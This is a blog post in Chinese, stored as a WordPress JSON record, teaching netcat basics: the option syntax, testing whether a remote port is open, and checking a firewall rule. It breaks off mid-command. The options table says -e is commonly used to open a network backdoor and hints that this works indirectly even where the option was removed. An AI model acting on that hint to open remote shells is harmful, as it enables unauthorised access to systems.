{"id":55,"date":"2024-10-22T02:18:13","date_gmt":"2024-10-21T18:18:13","guid":{"rendered":"https:\/\/pony.freeopen.cc\/blog\/?p=55"},"modified":"2024-10-22T02:51:54","modified_gmt":"2024-10-21T18:51:54","slug":"netcat-%e7%9a%84%e5%87%a0%e7%a7%8d%e7%94%a8%e6%b3%95","status":"publish","type":"post","link":"https:\/\/pony.freeopen.cc\/blog\/?p=55","title":{"rendered":"netcat \u7684\u51e0\u79cd\u7528\u6cd5"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">\u2605netcat \u662f\u4e2a\u5565\u73a9\u610f\u513f\uff1f<\/h2>\n\n\n\n<p>\u3000\u3000netcat \u4e00\u822c\u7b80\u79f0\u4e3a nc\uff0c\u76f4\u8bd1\u4e3a\u4e2d\u6587\u5c31\u662f\u201c\u7f51\u732b\u201d\uff0c\u88ab\u8a89\u4e3a\u2014\u2014\u3010<strong>\u7f51\u7edc\u4e0a\u7684\u745e\u58eb\u519b\u5200<\/strong>\u3011\u3002<br>\u3000\u3000\u5b83\u8bde\u751f\u4e8e1995\u5e74\uff0c\u5728\u7f51\u7edc\u5b89\u5168\u793e\u533a\u7684\u540d\u6c14\u5f88\u5927\uff08\u5c31\u5982\u540c AK47 \u5728\u519b\u4e8b\u9886\u57df\u7684\u540d\u6c14\uff09\u3002\u957f\u671f\u5728\u5b89\u5168\u5708\u5185\u6df7\u7684\u4eba\uff0c\u5e94\u8be5\u90fd\u77e5\u9053\u5b83\u3002\u60f3\u5f53\u5e74\uff0cinsecure.org \u7f51\u7ad9\u5728\u672c\u4e16\u7eaa\u521d\u641e\u8fc7\u51e0\u6b21\u201c\u5e74\u5ea6\u6295\u7968\u201d\uff0c\u8bc4\u9009\u4f18\u79c0\u7684\u5b89\u5168\u5de5\u5177\u3002\u6bcf\u6b21\u6295\u7968\uff0cnetcat \u90fd\u80fd\u6392\u8fdb\u524d\u51e0\u540d\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u2605netcat \u80fd\u5e72\u5565\uff1f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u6982\u8ff0<\/h3>\n\n\n\n<p>\u3000\u3000\u7b80\u800c\u8a00\u4e4b\uff0cnc \u662f\u4e00\u4e2a\u3010\u547d\u4ee4\u884c\u3011\u5de5\u5177\uff0c\u80fd\u591f\u8ba9\u4f60\u5f88\u65b9\u4fbf\u3001\u5f88\u7075\u6d3b\u5730\u5730\u64cd\u7eb5\u3010\u4f20\u8f93\u5c42\u534f\u8bae\u3011\uff08\u8fd9\u91cc\u6240\u8bf4\u7684\u201c\u4f20\u8f93\u5c42\u534f\u8bae\u201d\u6307\u7684\u662f OSI \u6a21\u578b\u4e2d\u7684\u7b2c4\u5c42\uff0c\u4e3b\u8981\u662f TCP \uff06 UDP\uff09\u3002<br>\u3000\u3000\u5982\u679c\u4f60\u4e0d\u660e\u767d\u201c\u4f20\u8f93\u5c42\u534f\u8bae\u201d\u662f\u5565\uff1f\u6216\u8005\u4f60\u4ece\u6765\u6ca1\u542c\u8bf4\u8fc7\u201cOSI\u201d\uff0c\u5efa\u8bae\u5148\u770b\u5b8c\u626b\u76f2\u6559\u7a0b\uff0c\u518d\u6765\u770b\u672c\u6587\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7nc \u7684\u53d8\u79cd<\/h3>\n\n\n\n<p>\u3000\u3000\u7531\u4e8e nc \u662f\u5982\u6b64\u725b\u903c\uff0c\u800c\u5b83\u672c\u8eab\u53c8\u5f88\u5c0f\uff08\u4e0d\u4f46\u8f6f\u4ef6\u5f88\u5c0f\uff0c\u6e90\u4ee3\u7801\u4e5f\u5f88\u5c11\uff09\u3002\u5f88\u5bb9\u6613\u5c31\u884d\u751f\u51fa\u4e00\u5927\u5806\u3010\u53d8\u79cd\u3011\u3002\u4e0d\u540c\u7684\u53d8\u79cd\uff0c\u4f1a\u5728\u539f\u6709 nc \u7684\u57fa\u7840\u4e0a\u589e\u52a0\u4e00\u4e9b\u65b0\u529f\u80fd\u3002<br>\u3000\u3000\u7531\u4e8e\u53d8\u79cd\u4e4b\u95f4\u5b58\u5728\u5dee\u5f02\u3002\u5728\u672c\u6587\u7684\u5f00\u5934\u90e8\u5206\uff0c\u4ffa\u6709\u5fc5\u8981\u5148\u58f0\u660e\u4e00\u4e0b\uff1a<strong>\u8fd9\u7bc7\u6559\u7a0b\u7684\u5185\u5bb9\uff0c\u4e3b\u8981\u57fa\u4e8e OpenBSD \u793e\u533a\u7684\u53d8\u79cd<\/strong>\uff08\u4e5f\u53eb\u201cOpenBSD netcat\u201d\u6216\u201cnetcat-openbsd\u201d\uff09<br>\u3000\u3000\u987e\u540d\u601d\u4e49\uff0c\u8fd9\u662f\u7531 OpenBSD \u793e\u533a\u91cd\u5199\u7684 netcat\uff0c\u4e3b\u8981\u589e\u52a0\u4e86\u5bf9\u201cIPv6\u3001proxy\u3001Unix sockets\u201d\u7b49\u529f\u80fd\u7684\u652f\u6301\u3002\u53e6\u5916\uff0c\u5728\u7ec6\u8282\u4e0a\u4e5f\u6709\u82e5\u5e72\u5b8c\u5584\u3002<br>\u3000\u3000\u867d\u7136\u5b83\u51fa\u81ea OpenBSD \u793e\u533a\uff0c\u4f46\u5f88\u591a\u4e3b\u6d41 Linux \u53d1\u884c\u7248\u7684\u5b98\u65b9\u8f6f\u4ef6\u4ed3\u5e93\u5df2\u5305\u542b\u8fd9\u4e2a\u53d8\u79cd\uff08\u6bd4\u5982\u8bf4\uff1aDebian \u5bb6\u65cf\u3001Arch \u5bb6\u65cf\u3001openSUSE \u5bb6\u65cf\u3001Gentoo \u5bb6\u65cf&#8230;&#8230;\uff09\u3002<br>\u3000\u3000<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u2605nc \u547d\u4ee4\u884c\u7b80\u4ecb<\/h2>\n\n\n\n<p>\u3000\u3000\u8981\u4f7f\u7528 nc\uff0c\u4f60\u5c31\u9700\u8981\u5728\u3010\u547d\u4ee4\u884c\u3011\u4e2d\u4e0e\u5b83\u6253\u4ea4\u9053\uff08\u5b83\u6240\u6709\u7684\u529f\u80fd\uff0c\u90fd\u4ee5\u547d\u4ee4\u884c\u7684\u65b9\u5f0f\u5448\u73b0\u7ed9\u4f60\u7528\uff09\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7nc \u547d\u4ee4\u884c\u7684\u5e38\u89c4\u5f62\u5f0f<\/h3>\n\n\n\n<p>\u3000\u3000\u4e00\u822c\u6765\u8bf4\uff0cnc \u7684\u547d\u4ee4\u884c\u5305\u62ec\u5982\u4e0b\u51e0\u4e2a\u90e8\u5206\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc \u547d\u4ee4\u9009\u9879 \u4e3b\u673a \u7aef\u53e3<\/pre>\n\n\n\n<p>\u3000\u3000<strong>\u547d\u4ee4\u9009\u9879<\/strong><br>\u3000\u3000\u8fd9\u90e8\u5206\u53ef\u80fd\u5305\u542b 0~N \u4e2a\u9009\u9879<br>\u3000\u3000\uff08\u6ce8\uff1a\u8fd9\u90e8\u5206\u6700\u590d\u6742\uff0c\u4e0b\u4e00\u4e2a\u5c0f\u8282\u5355\u72ec\u804a\uff09<br>\u3000\u3000<strong>\u4e3b\u673a<\/strong><br>\u3000\u3000\u8fd9\u90e8\u5206\u53ef\u80fd\u6ca1\u6709\uff0c\u53ef\u80fd\u4ee5\u201c\u70b9\u5206\u5341\u8fdb\u5236\u201d\u5f62\u5f0f\u8868\u793a\uff0c\u4e5f\u53ef\u80fd\u4ee5\u201c\u57df\u540d\u201d\u5f62\u5f0f\u8868\u793a\u3002<br>\u3000\u3000<strong>\u7aef\u53e3<\/strong><br>\u3000\u3000\u8fd9\u90e8\u5206\u53ef\u80fd\u6ca1\u6709\uff0c\u53ef\u80fd\u662f\u5355\u4e2a\u7aef\u53e3\uff0c\u53ef\u80fd\u662f\u7aef\u53e3\u8303\u56f4\u3002<br>\u3000\u3000\u5bf9\u4e8e\u201c\u7aef\u53e3\u8303\u56f4\u201d\uff0c\u4ee5\u4e24\u4e2a\u6570\u5b57\u5206\u522b\u8868\u793a\u201c\u5f00\u59cb\u548c\u7ed3\u675f\u201d\uff0c\u4e2d\u95f4\u4ee5\u3010\u534a\u89d2\u51cf\u53f7\u3011\u76f8\u8fde\u3002\u4e3e\u4f8b\uff1a<code>1-1024<\/code><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u4f55\u4e3a\u201c\u547d\u4ee4\u884c\u9009\u9879\u201d\uff1f<\/h3>\n\n\n\n<p>\u3000\u3000\u7b80\u5355\u6765\u8bf4\uff0cnc \u63d0\u4f9b\u4e86\u4e00\u5927\u5806\u3010\u547d\u4ee4\u884c\u9009\u9879\u3011\uff0c\u5206\u522b\u5bf9\u5e94\u5b83\u63d0\u4f9b\u7684\u529f\u80fd\u3002\u6bcf\u4e2a\u9009\u9879\u90fd\u662f\u201c\u5355\u5b57\u6bcd\u201d\u6ef4\u3002\u6709\u4e9b\u9009\u9879\u9700\u8981\u5e26\u3010\u9009\u9879\u503c\u3011\uff0c\u6709\u4e9b\u4e0d\u9700\u8981\u3002<br>\u3000\u3000\u4f60\u8981\u4f7f\u7528\u7684\u9009\u9879\u90fd\u653e\u5728&nbsp;<code>nc<\/code>&nbsp;\u8fd9\u4e2a\u547d\u4ee4\u4e4b\u540e\uff0c\u6bcf\u4e2a\u9009\u9879\u524d\u9762\u8981\u6709\u4e00\u4e2a\u3010\u534a\u89d2\u51cf\u53f7\u3011\uff0c\u9009\u9879\u4e4b\u95f4\u4ee5\u7a7a\u683c\u5206\u5f00\u3002<br>\u3000\u3000\u4e3e\u4f8b\uff1a<br>\u3000\u3000\u5728\u4e0b\u9762\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c\u5206\u522b\u7528\u5230\u4e86\u4e09\u4e2a\u9009\u9879\uff08<code>l\u3001p\u3001v<\/code>\uff09\uff0c\u5176\u4e2d&nbsp;<code>12345<\/code>&nbsp;\u662f\u9009\u9879&nbsp;<code>p<\/code>&nbsp;\u6240\u5e26\u7684\u3010\u9009\u9879\u503c\u3011\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -l -p 12345 -v<\/pre>\n\n\n\n<p>\u3000\u3000\u5982\u679c\u4f60\u7684\u7cfb\u7edf\u4e2d\u5df2\u7ecf\u6709 nc\uff08\u4e14 nc \u5df2\u6dfb\u52a0\u5230\u3010PATH \u73af\u5883\u53d8\u91cf\u3011\uff09\uff0c\u5728\u547d\u4ee4\u884c\u4e2d\u6267\u884c\u5982\u4e0b\uff0c\u5c31\u53ef\u4ee5\u770b\u5230\u5b83\u652f\u6301\u7684\u5168\u90e8\u547d\u4ee4\u9009\u9879\u7684\u5217\u8868\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -h<\/pre>\n\n\n\n<p>\u3000\u3000\u987a\u4fbf\u8bf4\u4e00\u4e0b\uff1a\u5728\u4e0a\u8ff0\u547d\u4ee4\u7684\u8f93\u51fa\u4e2d\uff0c\u5982\u679c\u7b2c\u4e00\u884c\u5305\u542b&nbsp;<code>OpenBSD<\/code>&nbsp;\u8fd9\u4e2a\u5355\u8bcd\uff0c\u5c31\u8bf4\u660e\u4f60\u5f53\u524d\u7528\u7684\u201c\u7f51\u732b\u201d\u662f OpenBSD \u53d8\u79cd\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u3010\u5e38\u7528\u7684\u3011\u547d\u4ee4\u884c\u9009\u9879<\/h3>\n\n\n\n<p>\u3000\u3000\u7531\u4e8e\u4e0a\u8ff0\u547d\u4ee4\u663e\u793a\u7684\u5e2e\u52a9\u662f\u6d0b\u6587\u3002\u4e3a\u4e86\u7167\u987e\u65b0\u624b\uff0c\u4ffa\u7a0d\u4f5c\u89e3\u91ca\uff08\u53ea\u5217\u51fa\u3010\u5e38\u7528\u7684\u3011\u90a3\u4e9b\uff09\u3002<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><th>\u9009\u9879<\/th><th>\u662f\u5426\u6709\u201c\u9009\u9879\u503c\u201d<\/th><th>\u8bf4\u660e<\/th><\/tr><tr><td>h<\/td><td>NO<\/td><td>\u8f93\u51fa nc \u7684\u5e2e\u52a9<\/td><\/tr><tr><td>v<\/td><td>NO<\/td><td>\u5728\u7f51\u7edc\u901a\u8baf\u65f6\uff0c\u663e\u793a\u8be6\u7ec6\u7684\u8f93\u51fa\u4fe1\u606f<br>\u6ce8\uff1a\u5efa\u8bae\u65b0\u624b\u591a\u7528\u8be5\u9009\u9879\uff0c\u51fa\u9519\u65f6\u5e2e\u4f60\u8bca\u65ad\u95ee\u9898<\/td><\/tr><tr><td>n<\/td><td>NO<\/td><td>\u5bf9\u547d\u4ee4\u884c\u4e2d\u7684\u201c\u4e3b\u673a\u201d\uff0c\u3010\u4e0d\u3011\u8fdb\u884c\u57df\u540d\u89e3\u6790<br>\u6ce8\uff1a\u5982\u679c\u201c\u4e3b\u673a\u201d\u662f\u201c\u70b9\u5206\u683c\u5f0f\u201d\u7684 IP \u5730\u5740\uff0c\u9700\u8981\u7528\u8be5\u9009\u9879\uff1b<br>\u5982\u679c\u201c\u4e3b\u673a\u201d\u662f\u201c\u57df\u540d\u201d\u5f62\u5f0f\uff0c\u3010\u4e0d\u80fd\u3011\u7528\u8be5\u9009\u9879<\/td><\/tr><tr><td>p<\/td><td>YES<\/td><td>\u6307\u5b9a\u201c\u7aef\u53e3\u53f7\u201d<\/td><\/tr><tr><td>l<\/td><td>NO<\/td><td>\u5f00\u542f\u201c\u76d1\u542c\u6a21\u5f0f\u201d\uff0cnc \u4f5c\u4e3a\u3010\u670d\u52a1\u7aef\u3011<br>\u6ce8\uff1a\u5982\u4e0d\u52a0\u8be5\u9009\u9879\uff0cnc \u9ed8\u8ba4\u4f5c\u4e3a\u5ba2\u6237\u7aef<\/td><\/tr><tr><td>u<\/td><td>NO<\/td><td>\u4f7f\u7528 UDP \u534f\u8bae<br>\u6ce8\uff1a\u5982\u4e0d\u52a0\u8be5\u9009\u9879\uff0c\u9ed8\u8ba4\u662f TCP \u534f\u8bae<\/td><\/tr><tr><td>w<\/td><td>YES<\/td><td>\u8bbe\u7f6e\u8fde\u63a5\u7684\u8d85\u65f6\u95f4\u9694\uff08N \u79d2\uff09<\/td><\/tr><tr><td>q<\/td><td>YES<\/td><td>\u8ba9 nc \u5ef6\u65f6\uff08N \u79d2\uff09\u518d\u9000\u51fa<\/td><\/tr><tr><td>z<\/td><td>NO<\/td><td>\u5f00\u542f\u201czero-I\/O \u6a21\u5f0f\u201d<br>\u6ce8\uff1a\u8be5\u9009\u9879\u4ec5\u7528\u4e8e\u201c\u7aef\u53e3\u626b\u63cf\u201d\uff0c\u540e\u9762\u4f1a\u804a\u5230<\/td><\/tr><tr><td>k<\/td><td>NO<\/td><td>\u914d\u5408&nbsp;<code>-l<\/code>&nbsp;\u9009\u9879\u4f7f\u7528\uff0c\u53ef\u4ee5\u91cd\u590d\u63a5\u53d7\u5ba2\u6237\u7aef\u8fde\u63a5\u3002<br>\u6ce8\uff1a\u201c\u539f\u7248 nc\u201d\u7684\u8be5\u9009\u9879\u7528\u6765\u5f00\u542f\u201cTCP keepalive\u201d<br>\u8fd9\u662f\u201c\u539f\u7248 nc\u201d\u4e0e\u201cOpenBSD \u53d8\u79cd\u201d\u4e4b\u95f4\u7684\u5dee\u5f02\u4e4b\u4e00<\/td><\/tr><tr><td>X<\/td><td>YES<\/td><td>\u6307\u5b9a\u4ee3\u7406\u7684\u7c7b\u578b\uff08\u5177\u4f53\u7528\u6cd5\uff0c\u540e\u9762\u4f1a\u804a\u5230\uff09<br>\u6ce8\uff1a\u201c\u539f\u7248 nc\u201d\u3010\u6ca1\u6709\u3011\u8be5\u9009\u9879\u3002\u8fd9\u662f\u201c\u539f\u7248 nc\u201d\u4e0e\u201cOpenBSD \u53d8\u79cd\u201d\u4e4b\u95f4\u7684\u5dee\u5f02\u4e4b\u4e00<\/td><\/tr><tr><td>x<\/td><td>YES<\/td><td>\u4ee5&nbsp;<code>IP:port<\/code>&nbsp;\u7684\u683c\u5f0f\u6307\u5b9a\u4ee3\u7406\u7684\u4f4d\u7f6e\u3002<br>\u6ce8\uff1a\u201c\u539f\u7248 nc\u201d\u3010\u6ca1\u6709\u3011\u8be5\u9009\u9879\u3002\u8fd9\u662f\u201c\u539f\u7248 nc\u201d\u4e0e\u201cOpenBSD \u53d8\u79cd\u201d\u4e4b\u95f4\u7684\u5dee\u5f02\u4e4b\u4e00<\/td><\/tr><tr><td>e<\/td><td>YES<\/td><td>\u542f\u52a8\u67d0\u4e2a\u8fdb\u7a0b\uff0c\u628a\u8be5\u8fdb\u7a0b\u7684\u201c\u6807\u51c6\u8f93\u5165\u8f93\u51fa\u201d\u4e0e\u7f51\u7edc\u901a\u8baf\u3010\u5bf9\u63a5\u3011<br>\u6ce8\uff1a\u901a\u5e38\u7528\u8be5\u9009\u9879\u5f00\u542f\u4e00\u4e2a\u7f51\u7edc\u540e\u95e8<br>\u201cOpenBSD \u53d8\u79cd\u201d\u57fa\u4e8e\u5b89\u5168\u8003\u8651\uff0c\u5df2\u53bb\u6389\u8be5\u9009\u9879\uff0c<br>\u4f46\u8fd8\u662f\u80fd\u7528\u95f4\u63a5\u7684\u65b9\u5f0f\u8fbe\u5230\u540c\u6837\u7684\u6548\u679c \ud83d\ude42<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u3000\u3000\u6c47\u603b\u4e0a\u8ff0\u8868\u683c\uff0c\u53ea\u662f\u7528\u6765\u3010\u901f\u67e5\u3011\u3002\u4ffa\u4f1a\u5728\u540e\u7eed\u7ae0\u8282\u5177\u4f53\u4ecb\u7ecd\u6bcf\u4e2a\u547d\u4ee4\u9009\u9879\u7684\u8be6\u7ec6\u7528\u6cd5\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u547d\u4ee4\u884c\u9009\u9879\u7684\u3010\u5408\u5199\u3011\u5f62\u5f0f<\/h3>\n\n\n\n<p>\u3000\u3000\u6709\u65f6\u5019\u8981\u540c\u65f6\u7528\u5230\u591a\u4e2a\u9009\u9879\uff0c\u53ef\u4ee5\u201c\u5408\u5199\u5728\u4e00\u8d77\u201d\uff0c\u5728\u524d\u9762\u5171\u7528\u4e00\u4e2a\u3010\u534a\u89d2\u51cf\u53f7\u3011\u3002<br>\u3000\u3000\u8fd8\u62ff\u521a\u624d\u4ffa\u4e3e\u7684\u4f8b\u5b50\uff0c\u4ee5\u4e0b\u51e0\u79cd\u5199\u6cd5\u662f\u3010\u7b49\u4ef7\u3011\u6ef4\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -lp 12345 -v<br>nc -l -v -p 12345<br>nc -lv -p 12345<br>nc -lvp 12345<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u5982\u4f55\u5f3a\u884c\u7ec8\u6b62 nc\uff1f<\/h3>\n\n\n\n<p>\u3000\u3000\u4e00\u822c\u6765\u8bf4\uff0c\u5728\u547d\u4ee4\u884c\u73af\u5883\u4e0b\uff0c\u4f60\u53ef\u4ee5\u7528\u3010Ctrl C\u3011\u8fd9\u4e2a\u7ec4\u5408\u952e\u6765\u5f3a\u884c\u7ec8\u6b62\u5f53\u524d\u8fd0\u884c\u7684\u8fdb\u7a0b\u3002<br>\u3000\u3000\u5bf9 nc\uff0c\u4f60\u540c\u6837\u53ef\u4ee5\u8fd9\u4e48\u5e72\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u2605\u62db\u65701\uff1a\uff08\u7f51\u7edc\u8bca\u65ad\uff09\u6d4b\u8bd5\u67d0\u4e2a\u8fdc\u7a0b\u4e3b\u673a\u7684\u3010\u76d1\u542c\u3011\u7aef\u53e3\u662f\u5426\u53ef\u8fbe<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u4f7f\u7528\u573a\u666f<\/h3>\n\n\n\n<p>\u3000\u3000\u7ecf\u5e38\u6709\u8fd9\u79cd\u9700\u6c42\uff0c\u8981\u5224\u65ad\u67d0\u4e2a\u4e3b\u673a\u7684\u76d1\u542c\u7aef\u53e3\u662f\u5426\u80fd\u8fde\u4e0a\u3002<br>\u3000\u3000\u5bfc\u81f4\u76d1\u542c\u7aef\u53e3\u3010\u65e0\u6cd5\u3011\uff0c\u901a\u5e38\u6709\u4e24\u79cd\u539f\u56e0\uff1a<br>\u5176\u4e00\uff0c\u8fd9\u4e2a\u76d1\u542c\u7aef\u53e3\u6839\u672c\u5c31\u3010\u6ca1\u5f00\u542f\u3011\uff1b<br>\u5176\u4e8c\uff0c\u76d1\u542c\u7aef\u53e3\u867d\u7136\u5f00\u542f\uff0c\u4f46\u662f\u88ab\u9632\u706b\u5899\u963b\u62e6\u4e86\u3002<br>\u3000\u3000\u5bf9\u7b2c1\u4e2a\u539f\u56e0\uff0c\uff08\u5982\u679c\u4f60\u80fd\u5728\u8be5\u4e3b\u673a\u4e0a\u8fd0\u884c\u547d\u4ee4\uff09\u53ef\u4ee5\u76f4\u63a5\u7528&nbsp;<code>netstat<\/code>&nbsp;\u8fd9\u4e2a\u547d\u4ee4\u67e5\u770b\u76d1\u542c\u7aef\u53e3\u662f\u5426\u5f00\u542f<br>\u3000\u3000\u4f46\u5bf9\u4e8e\u7b2c2\u4e2a\u539f\u56e0\uff0c<code>netstat<\/code>&nbsp;\u5c31\u7528\u4e0d\u4e0a\u4e86\u3002\u8fd9\u65f6\u5019\u5c31\u53ef\u4ee5\u7528 nc \u6765\u5e2e\u4f60\u641e\u5b9a\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u65b9\u6cd5<\/h3>\n\n\n\n<p>\u3000\u3000\u7528\u5982\u4e0b\u547d\u4ee4\u53ef\u4ee5\u6d4b\u8bd5\u67d0\u4e2a IP \u5730\u5740\uff08<code>x.x.x.x<\/code>\uff09\u4e0a\u7684\u67d0\u4e2a\u76d1\u542c\u7aef\u53e3\uff08<code>xx<\/code>\uff09\u662f\u5426\u5f00\u542f\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -nv x.x.x.x xx<\/pre>\n\n\n\n<p>\u3000\u3000\u4e0a\u8ff0\u547d\u4ee4\u7528\u5230\u4e86\u5982\u4e0b\u51e0\u4e2a\u9009\u9879\uff1a<\/p>\n\n\n\n<p>\u3000\u3000<strong>\u9009\u9879&nbsp;<code>-v<\/code><\/strong><br>\u3000\u3000\u5982\u679c\u4f60\u662f nc \u7684\u65b0\u624b\uff0c\u4ffa\u5efa\u8bae\u603b\u662f\u5e26\u4e0a\u8fd9\u4e2a\u9009\u9879\u2014\u2014\u901a\u8fc7\u66f4\u8be6\u7ec6\u7684\u8f93\u51fa\uff0c\u80fd\u5e2e\u4f60\u641e\u660e\u767d\u72b6\u51b5\u3002<br>\u3000\u3000\u5728\u672c\u6587\u540e\u7eed\u7684\u4e3e\u4f8b\u4e2d\uff0c\u4ffa\u4f1a\u5c3d\u91cf\u90fd\u52a0\u4e0a\u8fd9\u4e2a\u9009\u9879\uff08\u4f46\u8fd9\u6bb5\u8bdd\u5c31\u4e0d\u518d\u91cd\u590d\u5520\u53e8\u5566\uff09<\/p>\n\n\n\n<p>\u3000\u3000<strong>\u9009\u9879&nbsp;<code>-n<\/code><\/strong><br>\u3000\u3000\u7531\u4e8e\u6d4b\u8bd5\u7684\u662f\u3010IP \u5730\u5740\u3011\uff0c\u7528\u8be5\u9009\u9879\u544a\u8bc9 nc\uff0c\u3010\u65e0\u987b\u3011\u8fdb\u884c\u57df\u540d\uff08DNS\uff09\u89e3\u6790\uff1b<br>\u3000\u3000\u53cd\u4e4b\uff0c\u5982\u679c\u4f60\u8981\u6d4b\u8bd5\u7684\u4e3b\u673a\u662f\u57fa\u4e8e\u3010\u57df\u540d\u3011\uff0c\u5c31\u3010\u4e0d\u80fd\u3011\u7528\u201c\u9009\u9879 -n\u201d\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a\u8d85\u65f6\u8bbe\u7f6e<\/h3>\n\n\n\n<p>\u3000\u3000\u5728\u6d4b\u8bd5\u94fe\u63a5\u7684\u65f6\u5019\uff0c\u5982\u679c\u4f60\u3010\u6ca1\u3011\u4f7f\u7528&nbsp;<code>-w<\/code>&nbsp;\u8fd9\u4e2a\u8d85\u65f6\u9009\u9879\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b nc \u4f1a\u7b49\u5f85\u5f88\u4e45\uff0c\u7136\u540e\u624d\u544a\u8bc9\u4f60\u8fde\u63a5\u5931\u8d25\u3002<br>\u3000\u3000\u5982\u679c\u4f60\u6240\u5904\u7684\u7f51\u7edc\u73af\u5883\u7a33\u5b9a\u4e14\u9ad8\u901f\uff08\u6bd4\u5982\uff1a\u5c40\u57df\u7f51\u5185\uff09\uff0c\u90a3\u4e48\uff0c\u4f60\u53ef\u4ee5\u8ffd\u52a0\u201c<code>-w<\/code>&nbsp;\u9009\u9879\u201d\uff0c\u8bbe\u7f6e\u4e00\u4e2a\u6bd4\u8f83\u5c0f\u7684\u8d85\u65f6\u503c\u3002\u5728\u4e0b\u9762\u7684\u4f8b\u5b50\u4e2d\uff0c\u8d85\u65f6\u503c\u8bbe\u4e3a3\u79d2\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -nv -w 3 x.x.x.x xx<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1aUDP<\/h3>\n\n\n\n<p>\u3000\u3000\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u8981\u6d4b\u8bd5\u7684\u7aef\u53e3\u90fd\u662f TCP \u534f\u8bae\u7684\u7aef\u53e3\uff1b\u5982\u679c\u4f60\u78b0\u5230\u7279\u6b8a\u60c5\u51b5\uff0c\u9700\u8981\u6d4b\u8bd5\u67d0\u4e2a UDP \u7684\u7aef\u53e3\u662f\u5426\u53ef\u8fbe\u3002nc \u540c\u6837\u80fd\u80dc\u4efb\u3002\u53ea\u9700\u8981\u8ffd\u52a0&nbsp;<code>-u<\/code>&nbsp;\u9009\u9879\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u2605\u62db\u65702\uff1a\uff08\u7f51\u7edc\u8bca\u65ad\uff09\u5224\u65ad\u9632\u706b\u5899\u662f\u5426\u201c\u5141\u8bb8 or \u7981\u6b62\u201d\u67d0\u4e2a\u7aef\u53e3<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u4f7f\u7528\u573a\u666f<\/h3>\n\n\n\n<p>\u3000\u3000\u524d\u4e00\u4e2a\u7ae0\u8282\uff08\u62db\u65701\uff09\u7684\u573a\u666f\u662f\u2014\u2014\u5df2\u7ecf\u6709\u67d0\u4e2a\u7f51\u7edc\u8f6f\u4ef6\u5f00\u542f\u4e86\u76d1\u542c\u7aef\u53e3\uff0c\u7136\u540e\u7528 nc \u6d4b\u8bd5\u7aef\u53e3\u662f\u5426\u53ef\u8fbe\u3002<br>\u3000\u3000\u73b0\u5728\u6362\u53e6\u4e00\u4e2a\u573a\u666f\uff1a<br>\u3000\u3000\u5047\u8bbe\u4f60\u6b63\u5728\u914d\u7f6e\u9632\u706b\u5899\u89c4\u5219\uff0c\u7981\u6b62 TCP \u7684&nbsp;<code>8080<\/code>&nbsp;\u7aef\u53e3\u5bf9\u5916\u76d1\u542c\u3002\u90a3\u4e48\uff0c\u4f60\u5982\u4f55\u3010\u9a8c\u8bc1\u3011\u81ea\u5df1\u7684\u914d\u7f6e\u662f OK \u6ef4\uff1f<br>\u3000\u3000\u66f4\u8fdb\u4e00\u6b65\u8bf4\uff1a\u5982\u679c\u5f53\u524d\u3010\u6ca1\u6709\u3011\u4efb\u4f55\u8f6f\u4ef6\u5f00\u542f&nbsp;<code>8080<\/code>&nbsp;\u8fd9\u4e2a\u76d1\u542c\u7aef\u53e3\uff0c\u4f60\u5982\u4f55\u5224\u65ad\uff1a\u8be5\u7aef\u53e3\u53f7\u662f\u5426\u4f1a\u88ab\u9632\u706b\u5899\u963b\u62e6\uff1f<br>\u3000\u3000\u4e3a\u4e86\u53d9\u8ff0\u65b9\u4fbf\uff0c\u8bbe\u60f3\u5982\u4e0b\u573a\u666f\uff1a<br>\u6709\u4e24\u53f0\u4e3b\u673a\u2014\u2014\u201c\u4e3b\u673aC\u201d\u5145\u5f53\u5ba2\u6237\u7aef\uff0c\u201c\u4e3b\u673aS\u201d\u5145\u5f53\u670d\u52a1\u7aef\u3002<br>\u7136\u540e\u8981\u5224\u65ad\u201c\u4e3b\u673aS\u201d\u4e0a\u7684\u9632\u706b\u5899\u662f\u5426\u4f1a\u62e6\u622a\u5176\u5b83\u4e3b\u673a\u5bf9&nbsp;<code>8080<\/code>&nbsp;TCP \u7aef\u53e3\u7684\u8fde\u63a5\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u65b9\u6cd5<\/h3>\n\n\n\n<p>\u3000\u3000\u5728\u201c\u4e3b\u673aS\u201d\u4e0a\u8fd0\u884c nc\uff0c\u8ba9\u5b83\u5728 8080 \u7aef\u53e3\uff0c\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -lv -p 